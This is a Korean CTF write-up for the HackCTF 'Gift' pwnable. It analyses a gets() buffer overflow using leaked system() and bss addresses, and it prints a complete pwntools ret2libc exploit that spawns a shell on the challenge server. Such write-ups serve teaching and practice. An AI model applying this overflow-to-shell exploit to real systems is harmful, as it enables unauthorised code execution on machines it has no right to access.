CTF_Write_UP/HackCTF
[HackCTF] Gift
PowerCo3e_LCH
2019. 9. 23. 16:09
시작
안녕하세요 :D
250점의 마지막 문제, Gift 입니다.
너무 쉬워서 선물같은 문제란 뜻인 것 같아요 ㅋㅋㅋㅋ
시작해보죠!!
Write UP
root@goorm:/workspace/LCH_Server/HackCTF/19.Gift# ./gift
Hey guyssssssssss here you are: 0x8049940 0xf7623e70
aaaa
aaaa
bbbb
주소 두 개를 던져줍니다.
그 다음 입력을 받고 그대로 출력, 두 번째 입력을 받으면 종료됩니다.
0x080485a4 <+94>: add esp,0x10
0x080485a7 <+97>: mov eax,DWORD PTR [ebx-0x10]
0x080485ad <+103>: push eax
0x080485ae <+104>: mov eax,0x8049940
0x080485b4 <+110>: push eax
0x080485b5 <+111>: lea eax,[ebx-0x1254]
0x080485bb <+117>: push eax
0x080485bc <+118>: call 0x80483c0 <printf@plt>
0x080485c1 <+123>: add esp,0xc
0x080485c4 <+126>: mov eax,DWORD PTR [ebx-0x8]
0x080485ca <+132>: mov eax,DWORD PTR [eax]
0x080485cc <+134>: push eax
0x080485cd <+135>: push 0x80
0x080485d2 <+140>: lea eax,[ebp-0x84]
0x080485d8 <+146>: push eax
0x080485d9 <+147>: call 0x80483e0 <fgets@plt>
0x080485de <+152>: add esp,0xc
0x080485e1 <+155>: lea eax,[ebp-0x84]
0x080485e7 <+161>: push eax
0x080485e8 <+162>: call 0x80483c0 <printf@plt>
0x080485ed <+167>: add esp,0x4
0x080485f0 <+170>: lea eax,[ebp-0x84]
0x080485f6 <+176>: push eax
0x080485f7 <+177>: call 0x80483d0 <gets@plt>
0x080485fc <+182>: add esp,0x4
0x080485ff <+185>: mov eax,0x0
0x08048604 <+190>: mov ebx,DWORD PTR [ebp-0x4]
0x08048607 <+193>: leave
0x08048608 <+194>: ret
End of assembler dump.
fgets()와 gets()가 입력받는 부분이 똑같네요. fgets()는 가볍게 무시해줘도 될 것 같습니다.
0x84, 132 bytes의 더미 값을 주면 EBP에 접근이 가능하고, 4 bytes를 더 주면 RET을 건드리겠네요.
앞서 던져주는 주소 2개가 뭔지 알아볼까요?
0x80485b4 <main+110>: push eax
0x80485b5 <main+111>: lea eax,[ebx-0x1254]
0x80485bb <main+117>: push eax
=> 0x80485bc <main+118>: call 0x80483c0 <printf@plt>
0x80485c1 <main+123>: add esp,0xc
0x80485c4 <main+126>: mov eax,DWORD PTR [ebx-0x8]
0x80485ca <main+132>: mov eax,DWORD PTR [eax]
0x80485cc <main+134>: push eax
Guessed arguments:
arg[0]: 0x8048690 ("Hey guyssssssssss here you are: %p %p\n")
arg[1]: 0x8049940 --> 0x0
arg[2]: 0xf7636e70 (<system>: push ebx)
첫 번째 주소는 고정된 빈 공간이고, 두 번째 주소는 system() 함수네요.
따라서 gets()같은 함수로 첫 번째 주소의 “/bin/sh”를 넣어주고 system을 불러주면 끝입니다.
pr 가젯 하나만 있으면 되겠네요 ㅎㅎ 코드는 다음과 같습니다.
from pwn import *
#context.log_level = "debug"
p = remote("ctf.j0n9hyun.xyz", 3018)
#p = process("./gift")
payload = ""
pr = 0x80483ad
bss = 0x8049940
gets = 0x80483d0
p.recvuntil("940 0x")
system = int(p.recv(8), 16)
log.info("system = " + hex(system))
p.sendline("AAAA")
p.recvuntil("\n")
payload += "A" * 136
payload += p32(gets)
payload += p32(pr)
payload += p32(bss)
payload += p32(system)
payload += "AAAA"
payload += p32(bss)
p.sendline(payload)
p.sendline("/bin/sh\x00")
p.interactive()
[+] Opening connection to ctf.j0n9hyun.xyz on port 3018: Done
[*] system = 0xf7e32940
[*] Switching to interactive mode
AAAA
$ ls
flag
main
$ cat flag
//flag!!!
Exploit!!
마무리
마지막 문제여서 기대했는데 ㅎㅎ.. 단순 RTL 문제였습니다.
감사합니다 :D